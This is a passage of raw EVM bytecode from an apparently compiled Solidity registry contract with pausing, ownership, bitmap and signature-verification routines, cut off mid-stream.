40513d601f19601f82011682018060405250810190610ee49190615162565b610fcf612435565b610d1981612599565b610fe0612435565b610d1981612602565b6040805180820190915260008082526020820152610ee46110637f2bd82124057f0913bc3b772ce7b83e8057c1ad1f3510fc83778be20f10ec5de6846040516020016110489291909182526001600160a01b0316602082015260400190565b6040516020818303038152906040528051906020012061266b565b6126b9565b6001546002906004908116036110905760405162461bcd60e51b8152600401610968906150bc565b60006110d884848080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152505060965460ff1691506127489050565b90508483146111125760405162461bcd60e51b81526020600482015260066024820152653931a8a632b760d11b6044820152606401610968565b60005b83811015611435576000858583818110611131576111316150f3565b919091013560f81c91503690506000898985818110611152576111526150f3565b90506020028101906111649190615233565b6040516379a0849160e11b815260ff8616600482015291935091507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b03169063f341092290602401602060405180830381865afa1580156111d0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111f4919061527c565b63ffffffff1681146112335760405162461bcd60e51b81526020600482015260086024820152673931a8a7b82632b760c11b6044820152606401610968565b6000805b828110156113da576000848483818110611253576112536150f3565b905060200201602081019061126891906144fc565b6001600160a01b03811660009081526099602090815260408083208151808301909252805482526001810154949550929390929183019060ff1660028111156112b3576112b3614761565b60028111156112c4576112c4614761565b905250805190915060006112d782612211565b905060016001600160c01b03821660ff8b161c8116146113245760405162461bcd60e51b815260206004820152600860248201526772634f702152656760c01b6044820152606401610968565b856001600160a01b0316846001600160a01b03161161136f5760405162461bcd60e51b8152602060048201526007602482015266072634475704f760cc1b6044820152606401610968565b506113cd83838f8f8d908e600161138691906152af565b92611393939291906152c2565b8080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525061234892505050565b5090925050600101611237565b5060ff84166000818152609b6020908152604091829020439081905591519182527f46077d55330763f16269fd75e5761663f4192d2791747c0189b16ad31db07db4910160405180910390a250505050806001019050611115565b50505050505050565b60408051808201909152600080825260208201526001600160a01b0382166000908152609960209081526040918290208251808401909352805483526001810154909183019060ff16600281111561149857611498614761565b60028111156114a9576114a9614761565b90525092915050565b60005460405163237dfb4760e11b8152336004820152620100009091046001600160a01b0316906346fbf68e90602401602060405180830381865afa1580156114ff573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061152391906151c9565b61153f5760405162461bcd60e51b8152600401610968906151eb565b600019600181905560405190815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a2565b611586612435565b609654829060ff908116908216106115c95760405162461bcd60e51b815260206004820152600660248201526552433a71214560d01b6044820152606401610968565b6115d383836127d9565b505050565b609c81815481106115e857600080fd5b6000918252602090912001546001600160a01b0316905081565b609e546001600160a01b031633146116495760405162461bcd60e51b815260206004820152600a602482015269292190b2b532b1ba37b960b11b6044820152606401610968565b6001600160a01b0383166000908152609f602090815260408083204290556099825280832080548251601f87018590048502810185019093528583529093909290916116b69187908790819084018382808284376000920191909152505060965460ff1691506127489050565b905060006116c383612211565b905060018085015460ff1660028111156116df576116df614761565b1480156116f457506001600160c01b03821615155b801561171257506117126001600160c01b0383811690831681161490565b15611435576114358787878080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525061288692505050565b61175f612435565b6117696000612c0e565b565b60006117ab7f4d404e3276e7ac2163d8ee476afa6a41d1f68fb71f2d8b6546b24e55ce01b72a8787878787604051602001611048969594939291906152ec565b9695505050505050565b6000610ee482612211565b60006117d46064546001600160a01b031690565b905090565b60018054600091908116036118005760405162461bcd60e51b8152600401610968906150bc565b33600090815260c8602052604090205460ff166118515760405162461bcd60e51b815260206004820152600f60248201526e1b9bdd081dda1a5d195b1a5cdd1959608a1b6044820152606401610968565b8389146118895760405162461bcd60e51b81526004016109689060208082526004908201526338a632b760e11b604082015260600190565b60006118953388612c60565b90506118f533828888808060200260200160405190810160405280939291908181526020016000905b828210156118ea576118db60408302860136819003810190615374565b815260200190600101906118be565b505050505087612d95565b600061193c33838e8e8e8e8080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152508c9250612e71915050565b90506000609760008e8e6000818110611957576119576150f3565b919091013560f81c825250602080820192909252604090810160009081208251606081018452905463ffffffff811680835261ffff600160201b8304811696840196909652600160301b9091049094169281019290925284518051929450916119c2576119c26150f3565b602002602001015163ffffffff161115611ae357611a678d8d60008181106119ec576119ec6150f3565b9050013560f81c60f81b60f81c8360400151600081518110611a1057611a106150f3565b6020026020010151338560200151600081518110611a3057611a306150f3565b60200260200101518c8c6000818110611a4b57611a4b6150f3565b905060400201803603810190611a619190615374565b86613335565b611ae388886000818110611a7d57611a7d6150f3565b9050604002016020016020810190611a9591906144fc565b8e8e600090600192611aa9939291906152c2565b8080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525061288692505050565b50505050505050505050505050565b6001805460009190811603611b195760405162461bcd60e51b8152600401610968906150bc565b33600090815260c8602052604090205460ff16611b6a5760405162461bcd60e51b815260206004820152600f60248201526e1b9bdd081dda1a5d195b1a5cdd1959608a1b6044820152606401610968565b6000611b763385612c60565b90506000611bbf33838b8b8b8b8080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152508c9250612e71915050565b51600080805260976020527f683723e34a772b6e4f2c919bba7fa32ed8ea11a8325f54da7db716e9d9dd98c754825192935063ffffffff1691839190611c0757611c076150f3565b602002602001015163ffffffff161115611c4c5760405162461bcd60e51b81526020600482015260066024820152650714d61784f760d41b6044820152606401610968565b505050505050505050565b6060600082516001600160401b03811115611c7457611c74614519565b604051908082528060200260200182016040528015611c9d578160200160208202803683370190505b50905060005b8351811015611cfe57611ccf85858381518110611cc257611cc26150f3565b6020026020010151613504565b828281518110611ce157611ce16150f3565b63ffffffff90921660209283029190910190910152600101611ca3565b509392505050565b60018054600290811603611d2c5760405162461bcd60e51b8152600401610968906150bc565b6115d33384848080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525061288692505050565b611d74612435565b6115d38383836135bd565b600054610100900460ff1615808015611d9f5750600054600160ff909116105b80611db95750303b158015611db9575060005460ff166001145b611e1c5760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201526d191e481a5b9a5d1a585b1a5e995960921b6064820152608401610968565b6000805460ff191660011790558015611e3f576000805461ff0019166101001790555b82518451148015611e51575081518351145b611e825760405162461bcd60e51b8152602060048201526002602482015261494560f01b6044820152606401610968565b611e8b89612c0e565b611e95868661379f565b611e9e88612599565b611ea787612602565b609c80546001818101835560008381527faf85b9071dfafeac1409d3f1d19bafc9bc7c37974cde8df0ee6168f0086e539c92830180546001600160a01b037f000000000000000000000000000000000000000000000000000000000000000081166001600160a01b03199283161790925585548085018755850180547f0000000000000000000000000000000000000000000000000000000000000000841690831617905585549384019095559190920180547f000000000000000000000000000000000000000000000000000000000000000090921691909316179091555b8451811015611fee57611fe6858281518110611fa557611fa56150f3565b6020026020010151858381518110611fbf57611fbf6150f3565b6020026020010151858481518110611fd957611fd96150f3565b60200260200101516135bd565b600101611f87565b508015611c4c576000805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a1505050505050505050565b612047612435565b6001600160a01b0381166120ac5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610968565b610d1981612c0e565b600060029054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa158015612108573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061212c9190615162565b6001600160a01b0316336001600160a01b03161461215c5760405162461bcd60e51b81526004016109689061517f565b6001541981196001541916146121da5760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e756e70617573653a20696e76616c696420617474656d7060448201527f7420746f2070617573652066756e6374696f6e616c69747900000000000000006064820152608401610968565b600181905560405181815233907f3582d1828e26bf56bd801502bc021ac0bc8afb57c826e4986b45593c8fad389c90602001610c51565b6000818152609860205260408120548082036122305750600092915050565b6000838152609860205260409020612249600183615390565b81548110612259576122596150f3565b600091825260209091200154600160401b90046001600160c01b03169392505050565b606060008061228a8461388f565b61ffff166001600160401b038111156122a5576122a5614519565b6040519080825280601f01601f1916602001820160405280156122cf576020820181803683370190505b5090506000805b8251821080156122e7575061010081105b1561233e576001811b93508584161561232e578060f81b838381518110612310576123106150f3565b60200101906001600160f81b031916908160001a9053508160010191505b612337816153a3565b90506122d6565b5090949350505050565b60018260200151600281111561236057612360614761565b1461236a57505050565b81516040516333567f7f60e11b81526000906001600160a01b037f000000000000000000000000000000000000000000000000000000000000000016906366acfefe906123bf908890869088906004016153bc565b6020604051808303816000875af11580156123de573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061240291906153ec565b90506001600160c01b0381161561242e5761242e85612429836001600160c01b031661227c565b612886565b5050505050565b3361243e6117c0565b6001600160a01b0316146117695760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610968565b6001600160a01b0381166125225760405162461bcd60e51b815260206004820152604960248201527f5061757361626c652e5f73657450617573657252656769737472793a206e657760448201527f50617573657252656769737472792063616e6e6f7420626520746865207a65726064820152686f206164647265737360b81b608482015260a401610968565b600054604080516001600160a01b03620100009093048316815291831660208301527f6e9fcd539896fca60e8b0f01dd580233e48a6b0f7df013b89ba7f565869acdb6910160405180910390a1600080546001600160a01b03909216620100000262010000600160b01b0319909216919091179055565b609d54604080516001600160a01b03928316815291831660208301527f315457d8a8fe60f04af17c16e2f5a5e1db612b31648e58030360759ef8f3528c910160405180910390a1609d80546001600160a01b0319166001600160a01b0392909216919091179055565b609e54604080516001600160a01b03928316815291831660208301527f8f30ab09f43a6c157d7fce7e0a13c003042c1c95e8a72e7a146a21c0caa24dc9910160405180910390a1609e80546001600160a01b0319166001600160a01b0392909216919091179055565b6000610ee46126786138ba565b8360405161190160f01b6020820152602281018390526042810182905260009060620160405160208183030381529060405280519060200120905092915050565b6040805180820190915260008082526020820152600080806126e96000805160206158938339815191528661542b565b90505b6126f5816139e1565b9093509150600080516020615893833981519152828309830361272e576040805180820190915290815260208101919091529392505050565b6000805160206158938339815191526001820890506126ec565b60008061275484613a63565b9050808360ff166001901b116127d25760405162461bcd60e51b815260206004820152603f60248201527f4269746d61705574696c732e6f72646572656442797465734172726179546f4260448201527f69746d61703a206269746d61702065786365656473206d61782076616c7565006064820152608401610968565b9392505050565b60ff8216600081815260976020908152604091829020845181548684018051888701805163ffffffff90951665ffffffffffff199094168417600160201b61ffff938416021767ffff0000000000001916600160301b95831695909502949094179094558551918252518316938101939093525116918101919091527f3ee6fe8d54610244c3e9d3c066ae4aee997884aa28f10616ae821925401318ac9060600160405180910390a25050565b6001600160a01b0382166000908152609960205260409020805460018083015460ff1660028111156128ba576128ba614761565b146128ef5760405162461bcd60e51b81526020600482015260056024820152646f2152656760d81b6044820152606401610968565b60965460009061290390859060ff16612748565b9050600061291083612211565b90506001600160c01b0382166129515760405162461bcd60e51b815260040161096890602080825260049082015263071456d760e41b604082015260600190565b6129686001600160c01b0383811690831681161490565b61299d5760405162461bcd60e51b81526004016109689060208082526004908201526310a9bab160e11b604082015260600190565b6001600160c01b03828116198216166129b68482613beb565b6001600160c01b038116612a855760018501805460ff191660021790556040516351b27a6d60e11b81526001600160a01b0388811660048301527f0000000000000000000000000000000000000000000000000000000000000000169063a364f4da90602401600060405180830381600087803b158015612a3657600080fd5b505af1158015612a4a573d6000803e3d6000fd5b50506040518692506001600160a01b038a1691507f396fdcb180cb0fea26928113fb0fd1c3549863f9cd563e6a184f1d578116c8e490600090a35b60405163f4e24fe560e01b81526001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000169063f4e24fe590612ad3908a908a9060040161543f565b600060405180830381600087803b158015612aed57600080fd5b505af1158015612b01573d6000803e3d6000fd5b505060405163bd29b8cd60e01b81526001600160a01b037f000000000000000000000000000000000000000000000000000000000000000016925063bd29b8cd9150612b539087908a90600401615463565b600060405180830381600087803b158015612b6d57600080fd5b505af1158015612b81573d6000803e3d6000fd5b505060405163bd29b8cd60e01b81526001600160a01b037f000000000000000000000000000000000000000000000000000000000000000016925063bd29b8cd9150612bd39087908a90600401615463565b600060405180830381600087803b158015612bed57600080fd5b505af1158015612c01573d6000803e3d6000fd5b5050505050505050505050565b606480546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6040516309aa152760e11b81526001600160a01b0383811660048301526000917f0000000000000000000000000000000000000000000000000000000000000000909116906313542a4e90602401602060405180830381865afa158015612ccb573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612cef919061547c565b90506000819003610ee4577f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663bf79ce588484612d3487610fe9565b6040518463ffffffff1660e01b8152600401612d5293929190615495565b6020604051808303816000875af1158015612d71573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906127d2919061547c565b6020808201516000908152609a909152604090205460ff1615612de35760405162461bcd60e51b815260206004820152600660248201526518da14d85b1d60d21b6044820152606401610968565b4281604001511015612e1f5760405162461bcd60e51b8152602060048201526005602482015264063684578760dc1b6044820152606401610968565b602080820180516000908152609a909252604091829020805460ff19166001179055609d54905191830151610a48926001600160a01b0390921691612e6a918891889188919061176b565b8351613dac565b612e9560405180606001604052806060815260200160608152602001606081525090565b6000612edd86868080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152505060965460ff1691506127489050565b90506000612eea88612211565b90506001600160c01b038216612f2b5760405162461bcd60e51b815260040161096890602080825260049082015263071456d760e41b604082015260600190565b8082166001600160c01b031615612f6d5760405162461bcd60e51b81526004016109689060208082526004908201526308509a5d60e21b604082015260600190565b60a0546001600160a01b038a166000908152609f60205260409020546001600160c01b0383811690851617914291612fa591906152af565b10612fda5760405162461bcd60e51b815260206004820152600560248201526410b7b822b560d91b6044820152606401610968565b612fe48982613beb565b887fec2963ab21c1e50e1e582aa542af2e4bf7bf38e6e1403c27b42e1c5d6e621eaa87604051613014919061514f565b60405180910390a260016001600160a01b038b1660009081526099602052604090206001015460ff16600281111561304e5761304e614761565b14613167576040805180820182528a8152600160208083018281526001600160a01b038f166000908152609990925293902082518155925183820180549394939192909160ff1916908360028111156130a9576130a9614761565b021790555050604051639926ee7d60e01b81526001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000169150639926ee7d906130fe908d908990600401615505565b600060405180830381600087803b15801561311857600080fd5b505af115801561312c573d6000803e3d6000fd5b50506040518b92506001600160a01b038d1691507fe8e68cef1c3a761ed7be7e8463a375f27f7bc335e51824223cacce636ec5c3fe90600090a35b604051631fd93ca960e11b81526001600160a01b037f00000000000000000000000000000000000000000000000000000000000000001690633fb27952906131b7908d908c908c90600401615579565b600060405180830381600087803b1580156131d157600080fd5b505af11580156131e5573d6000803e3d6000fd5b5050604051632550477760e01b81526001600160a01b037f00000000000000000000000000000000000000000000000000000000000000001692506325504777915061323b908d908d908d908d9060040161559e565b6000604051808303816000875af115801561325a573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052613282919081019061562e565b60408087019190915260208601919091525162bff04d60e01b81526001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000169062bff04d906132df908c908c908c90600401615691565b6000604051808303816000875af11580156132fe573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f1916820160405261332691908101906156ab565b84525050509695505050505050565b6020808301516001600160a01b038082166000818152609990945260409093205491929087160361338e5760405162461bcd60e51b815260206004820152600360248201526206368360ec1b6044820152606401610968565b8760ff16846000015160ff16146133cd5760405162461bcd60e51b815260206004820152600360248201526263683160e81b6044820152606401610968565b604051635401ed2760e01b81526004810182905260ff891660248201526000907f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031690635401ed2790604401602060405180830381865afa15801561343e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906134629190615744565b905061346e8185613f66565b6001600160601b0316866001600160601b0316116134b45760405162461bcd60e51b815260206004820152600360248201526231b41960e91b6044820152606401610968565b6134be8885613f8a565b6001600160601b0316816001600160601b031610611c4c5760405162461bcd60e51b815260206004820152600360248201526263683360e81b6044820152606401610968565b600081815260986020526040812054815b8181101561358c5760016135298284615390565b6135339190615390565b92508463ffffffff16609860008681526020019081526020016000208463ffffffff1681548110613566576135666150f3565b60009182526020909120015463ffffffff1611613584575050610ee4565b600101613515565b5060405162461bcd60e51b81526020600482015260056024820152644f2152656760d81b6044820152606401610968565b60965460ff1660c081106135fc5760405162461bcd60e51b8152600401610968906020808252600490820152630e29ac2f60e31b604082015260600190565b613607816001615761565b6096805460ff191660ff929092169190911790558061362681866127d9565b60405160016296b58960e01b031981526001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000169063ff694a77906136799084908890889060040161577a565b600060405180830381600087803b15801561369357600080fd5b505af11580156136a7573d6000803e3d6000fd5b505060405163136ca0f960e11b815260ff841660048201527f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031692506326d941f29150602401600060405180830381600087803b15801561370f57600080fd5b505af1158015613723573d6000803e3d6000fd5b505060405163136ca0f960e11b815260ff841660048201527f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031692506326d941f29150602401600060405180830381600087803b15801561378b57600080fd5b505af1158015611c4c573d6000803e3d6000fd5b6000546201000090046001600160a01b03161580156137c657506001600160a01b03821615155b6138485760405162461bcd60e51b815260206004820152604760248201527f5061757361626c652e5f696e697469616c697a655061757365723a205f696e6960448201527f7469616c697a6550617573657228292063616e206f6e6c792062652063616c6c6064820152666564206f6e636560c81b608482015260a401610968565b600181905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a261388b82612494565b5050565b6000805b8215610ee4576138a4600184615390565b90921691806138b2816157f6565b915050613893565b6000306001600160a01b037f00000000000000000000000000000000000000000000000000000000000000001614801561391357507f000000000000000000000000000000000000000000000000000000000000000046145b1561393d57507f000000000000000000000000000000000000000000000000000000000000000090565b50604080517f00000000000000000000000000000000000000000000000000000000000000006020808301919091527f0000000000000000000000000000000000000000000000000000000000000000828401527f000000000000000000000000000000000000000000000000000000000000000060608301524660808301523060a0808401919091528351808403909101815260c0909201909252805191012090565b60008080600080516020615893833981519152600360008051602061589383398151915286600080516020615893833981519152888909090890506000613a57827f0c19139cb84c680a6e14116da060561765e05aa45a1c72a34f082305b61f3f52600080516020615893833981519152613fa4565b91959194509092505050565b600061010082511115613aec5760405162461bcd60e51b8152602060048201526044602482018190527f4269746d61705574696c732e6f72646572656442797465734172726179546f42908201527f69746d61703a206f7264657265644279746573417272617920697320746f6f206064820152636c6f6e6760e01b608482015260a401610968565b8151600003613afd57506000919050565b60008083600081518110613b1357613b136150f3565b0160200151600160f89190911c81901b92505b8451811015613be257848181518110613b4157613b416150f3565b0160200151600160f89190911c1b9150828211613bd65760405162461bcd60e51b815260206004820152604760248201527f4269746d61705574696c732e6f72646572656442797465734172726179546f4260448201527f69746d61703a206f72646572656442797465734172726179206973206e6f74206064820152661bdc99195c995960ca1b608482015260a401610968565b91811791600101613b26565b50909392505050565b60008281526098602052604081205490819003613c93576000838152609860209081526040808320815160608101835263ffffffff43811682528185018681526001600160c01b03808a16958401958652845460018101865594885295909620915191909201805495519351909416600160401b026001600160401b03938316600160201b0267ffffffffffffffff1990961691909216179390931716919091179055505050565b6000838152609860205260408120613cac600184615390565b81548110613cbc57613cbc6150f3565b6000918252602090912001805490915063ffffffff438116911603613cfe5780546001600160401b0316600160401b6001600160c01b03851602178155610a48565b805463ffffffff438116600160201b81810267ffffffff0000000019909416939093178455600087815260986020908152604080832081516060810183529485528483018481526001600160c01b03808c1693870193845282546001810184559286529390942094519401805493519151909216600160401b026001600160401b0391861690960267ffffffffffffffff199093169390941692909217179190911691909117905550505050565b6001600160a01b0383163b15613ec657604051630b135d3f60e11b808252906001600160a01b03851690631626ba7e90613dec9086908690600401615463565b602060405180830381865afa158015613e09573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613e2d9190615817565b6001600160e01b031916146115d35760405162461bcd60e51b815260206004820152605360248201527f454950313237315369676e61747572655574696c732e636865636b5369676e6160448201527f747572655f454950313237313a2045524331323731207369676e6174757265206064820152721d995c9a599a58d85d1a5bdb8819985a5b1959606a1b608482015260a401610968565b826001600160a01b0316613eda838361404d565b6001600160a01b0316146115d35760405162461bcd60e51b815260206004820152604760248201527f454950313237315369676e61747572655574696c732e636865636b5369676e6160448201527f747572655f454950313237313a207369676e6174757265206e6f742066726f6d6064820152661039b4b3b732b960c91b608482015260a401610968565b602081015160009061271090613f809061ffff1685615841565b6127d2919061586c565b604081015160009061271090613f809061ffff1685615841565b600080613faf6143b3565b613fb76143d1565b602080825281810181905260408201819052606082018890526080820187905260a082018690528260c08360056107d05a03fa92508280613ff457fe5b50826140425760405162461bcd60e51b815260206004820152601a60248201527f424e3235342e6578704d6f643a2063616c6c206661696c7572650000000000006044820152606401610968565b505195945050505050565b600080600061405c8585614069565b91509150611cfe816140d7565b600080825160410361409f5760208301516040840151606085015160001a6140938782858561428d565b945094505050506140d0565b82516040036140c857602083015160408401516140bd86838361437a565b9350935050506140d0565b506000905060025b9250929050565b60008160048111156140eb576140eb614761565b036140f35750565b600181600481111561410757614107614761565b036141545760405162461bcd60e51b815260206004820152601860248201527f45434453413a20696e76616c6964207369676e617475726500000000000000006044820152606401610968565b600281600481111561416857614168614761565b036141b55760405162461bcd60e51b815260206004820152601f60248201527f45434453413a20696e76616c6964207369676e6174757265206c656e677468006044820152606401610968565b60038160048111156141c9576141c9614761565b036142215760405162461bcd60e51b815260206004820152602260248201527f45434453413a20696e76616c6964207369676e6174757265202773272076616c604482015261756560f01b6064820152608401610968565b600481600481111561423557614235614761565b03610d195760405162461bcd60e51b815260206004820152602260248201527f45434453413a20696e76616c6964207369676e6174757265202776272076616c604482015261756560f01b6064820152608401610968565b6000807f7fffffffffffffffffffffffffffffff5d576e7357a4501ddfe92f46681b20a08311156142c45750600090506003614371565b8460ff16601b141580156142dc57508460ff16601c14155b156142ed5750600090506004614371565b6040805160008082526020820180845289905260ff881692820192909252606081018690526080810185905260019060a0016020604051602081039080840390855afa158015614341573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b03811661436a57600060019250925050614371565b9150600090505b94509492505050565b6000806001600160ff1b0383168161439760ff86901c601b6152af565b90506143a58782888561428d565b935093505050935093915050565b60405180602001604052806001906020820280368337509192915050565b6040518060c001604052806006906020820280368337509192915050565b60008083601f84011261440157600080fd5b5081356001600160401b0381111561441857600080fd5b6020830191508360208260051b85010111156140d057600080fd5b6000806020838503121561444657600080fd5b82356001600160401b0381111561445c57600080fd5b614468858286016143ef565b90969095509350505050565b60006020828403121561448657600080fd5b5035919050565b63ffffffff81168114610d1957600080fd5b6000806000606084860312156144b457600080fd5b8335925060208401356144c68161448d565b929592945050506040919091013590565b6001600160a01b0381168114610d1957600080fd5b80356144f7816144d7565b919050565b60006020828403121561450e57600080fd5b81356127d2816144d7565b634e487b7160e01b600052604160045260246000fd5b604051606081016001600160401b038111828210171561455157614551614519565b60405290565b604080519081016001600160401b038111828210171561455157614551614519565b604051601f8201601f191681016001600160401b03811182821017156145a1576145a1614519565b604052919050565b60006001600160401b038311156145c2576145c2614519565b6145d5601f8401601f1916602001614579565b90508281528383830111156145e957600080fd5b828260208301376000602084830101529392505050565b60006020828403121561461257600080fd5b81356001600160401b0381111561462857600080fd5b8201601f8101841361463957600080fd5b614648848235602084016145a9565b949350505050565b6000806040838503121561466357600080fd5b50508035926020909101359150565b803560ff811681146144f757600080fd5b60006020828403121561469557600080fd5b6127d282614672565b815181526020808301519082015260408101610ee4565b60008083601f8401126146c757600080fd5b5081356001600160401b038111156146de57600080fd5b6020830191508360208285010111156140d057600080fd5b6000806000806040858703121561470c57600080fd5b84356001600160401b038082111561472357600080fd5b61472f888389016143ef565b9096509450602087013591508082111561474857600080fd5b50614755878288016146b5565b95989497509550505050565b634e487b7160e01b600052602160045260246000fd5b6003811061479557634e487b7160e01b600052602160045260246000fd5b9052565b8151815260208083015160408301916147b490840182614777565b5092915050565b803561ffff811681146144f757600080fd5b6000606082840312156147df57600080fd5b6147e761452f565b905081356147f48161448d565b8152614802602083016147bb565b6020820152614813604083016147bb565b604082015292915050565b6000806080838503121561483157600080fd5b61483a83614672565b915061484984602085016147cd565b90509250929050565b60008060006040848603121561486757600080fd5b8335614872816144d7565b925060208401356001600160401b0381111561488d57600080fd5b614899868287016146b5565b9497909650939450505050565b60006001600160401b038211156148bf576148bf614519565b5060051b60200190565b6000604082840312156148db57600080fd5b6148e3614557565b90506148ee82614672565b815260208201356148fe816144d7565b602082015292915050565b600080600080600060a0868803121561492157600080fd5b853561492c816144d7565b945060208681013594506040808801356001600160401b0381111561495057600080fd5b8801601f81018a1361496157600080fd5b803561497461496f826148a6565b614579565b8082825260208201915060208360061b85010192508c83111561499657600080fd5b6020840193505b828410156149be576149af8d856148c9565b8252928401929085019061499d565b999c989b5098996060810135995060800135979650505050505050565b600061010082840312156149ee57600080fd5b50919050565b60008083601f840112614a0657600080fd5b5081356001600160401b03811115614a1d57600080fd5b6020830191508360208260061b85010111156140d057600080fd5b600060608284031215614a4a57600080fd5b614a5261452f565b905081356001600160401b03811115614a6a57600080fd5b8201601f81018413614a7b57600080fd5b614a8a848235602084016145a9565b825250602082013560208201526040820135604082015292915050565b60008060008060008060008060006101a08a8c031215614ac657600080fd5b89356001600160401b0380821115614add57600080fd5b614ae98d838e016146b5565b909b50995060208c0135915080821115614b0257600080fd5b614b0e8d838e016146b5565b9099509750879150614b238d60408e016149db565b96506101408c0135915080821115614b3a57600080fd5b614b468d838e016149f4565b90965094506101608c0135915080821115614b6057600080fd5b614b6c8d838e01614a38565b93506101808c0135915080821115614b8357600080fd5b50614b908c828d01614a38565b9150509295985092959850929598565b6000806000806000806101608789031215614bba57600080fd5b86356001600160401b0380821115614bd157600080fd5b614bdd8a838b016146b5565b90985096506020890135915080821115614bf657600080fd5b614c028a838b016146b5565b9096509450849150614c178a60408b016149db565b9350610140890135915080821115614c2e57600080fd5b50614c3b89828a01614a38565b9150509295509295509295565b60008060408385031215614c5b57600080fd5b8235614c668161448d565b91506020838101356001600160401b03811115614c8257600080fd5b8401601f81018613614c9357600080fd5b8035614ca161496f826148a6565b81815260059190911b82018301908381019088831115614cc057600080fd5b928401925b82841015614cde57833582529284019290840190614cc5565b80955050505050509250929050565b6020808252825182820181905260009190848201906040850190845b81811015614d2b57835163ffffffff1683529284019291840191600101614d09565b50909695505050505050565b60008060208385031215614d4a57600080fd5b82356001600160401b03811115614d6057600080fd5b614468858286016146b5565b6001600160601b0381168114610d1957600080fd5b600082601f830112614d9257600080fd5b81356020614da261496f836148a6565b82815260069290921b84018101918181019086841115614dc157600080fd5b8286015b84811015614e125760408189031215614dde5760008081fd5b614de6614557565b8135614df1816144d7565b815281850135614e0081614d6c565b81860152835291830191604001614dc5565b509695505050505050565b600080600060a08486031215614e3257600080fd5b614e3c85856147cd565b92506060840135614e4c81614d6c565b915060808401356001600160401b03811115614e6757600080fd5b614e7386828701614d81565b9150509250925092565b600082601f830112614e8e57600080fd5b81356020614e9e61496f836148a6565b808382526020820191506060602060608602880101945087851115614ec257600080fd5b602087015b85811015614ee657614ed989826147cd565b8452928401928101614ec7565b5090979650505050505050565b600082601f830112614f0457600080fd5b81356020614f1461496f836148a6565b8083825260208201915060208460051b870101935086841115614f3657600080fd5b602086015b84811015614e12578035614f4e81614d6c565b8352918301918301614f3b565b600082601f830112614f6c57600080fd5b81356020614f7c61496f836148a6565b82815260059290921b84018101918181019086841115614f9b57600080fd5b8286015b84811015614e125780356001600160401b03811115614fbe5760008081fd5b614fcc8986838b0101614d81565b845250918301918301614f9f565b600080600080600080600080610100898b031215614ff757600080fd5b615000896144ec565b975061500e60208a016144ec565b965061501c60408a016144ec565b955061502a60608a016144ec565b94506080890135935060a08901356001600160401b038082111561504d57600080fd5b6150598c838d01614e7d565b945060c08b013591508082111561506f57600080fd5b61507b8c838d01614ef3565b935060e08b013591508082111561509157600080fd5b5061509e8b828c01614f5b565b9150509295985092959890939650565b60208101610ee48284614777565b60208082526019908201527f5061757361626c653a20696e6465782069732070617573656400000000000000604082015260600190565b634e487b7160e01b600052603260045260246000fd5b6000815180845260005b8181101561512f57602081850181015186830182015201615113565b506000602082860101526020601f19601f83011685010191505092915050565b6020815260006127d26020830184615109565b60006020828403121561517457600080fd5b81516127d2816144d7565b6020808252602a908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526939903ab73830bab9b2b960b11b606082015260800190565b6000602082840312156151db57600080fd5b815180151581146127d257600080fd5b60208082526028908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526739903830bab9b2b960c11b606082015260800190565b6000808335601e1984360301811261524a57600080fd5b8301803591506001600160401b0382111561526457600080fd5b6020019150600581901b36038213156140d057600080fd5b60006020828403121561528e57600080fd5b81516127d28161448d565b634e487b7160e01b600052601160045260246000fd5b80820180821115610ee457610ee4615299565b600080858511156152d257600080fd5b838611156152df57600080fd5b5050820193919092039150565b600060c08201888352602060018060a01b03808a166020860152604089604087015260c0606087015283895180865260e08801915060208b01955060005b81811015615354578651805160ff168452860151851686840152958501959183019160010161532a565b505060808701989098525050505060a09091019190915250949350505050565b60006040828403121561538657600080fd5b6127d283836148c9565b81810381811115610ee457610ee4615299565b6000600182016153b5576153b5615299565b5060010190565b60018060a01b03841681528260208201526060604082015260006153e36060830184615109565b95945050505050565b6000602082840312156153f